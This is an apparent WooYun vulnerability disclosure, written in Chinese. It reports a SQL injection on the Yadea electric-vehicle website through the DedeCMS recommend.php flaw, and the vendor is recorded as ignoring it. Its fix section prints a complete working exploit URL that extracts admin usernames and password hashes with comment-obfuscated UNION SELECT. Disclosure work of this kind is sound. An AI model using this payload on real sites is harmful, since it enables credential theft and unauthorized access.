漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-056575
漏洞标题：雅迪电动车官网注入漏洞
相关厂商：雅迪电动车
漏洞作者： outman
提交时间：2014-04-10 18:35
修复时间：2014-05-25 18:36
公开时间：2014-05-25 18:36
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：5
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-04-10： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-05-25： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
雅迪电动车官网使用了dedecms系统 出现注入漏洞
详细说明：
最近几天想买个电动车玩
看了几个电动车的官网 无意看到雅迪电动车 去官网看了一下
打开几个页面看看电动车目测php 出现下面的链接（url/plus/xx.php.....）
亮吓我的狗眼
不用猜了 应该是dedeCMS了
本着测试的态度 试了一下最近很火的recommend注入漏洞
直接爆用户密码
由于官网有防火墙没有继续检测
漏洞证明：
dedecms的recommend注入漏洞
修复方案：
dedecms即织梦（PHP开源网站内容管理系统）。织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名，是国内最知名的PHP开源网站管理系统，也是使用用户最多的PHP类CMS系统，近日，网友在dedecms中发现了全版本通杀的SQL注入漏洞，目前官方最新版已修复该漏洞，相关利用代码如下：EXP: plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=%27%20or%20mid=@`%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294
版权声明：转载请注明来源 outman@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝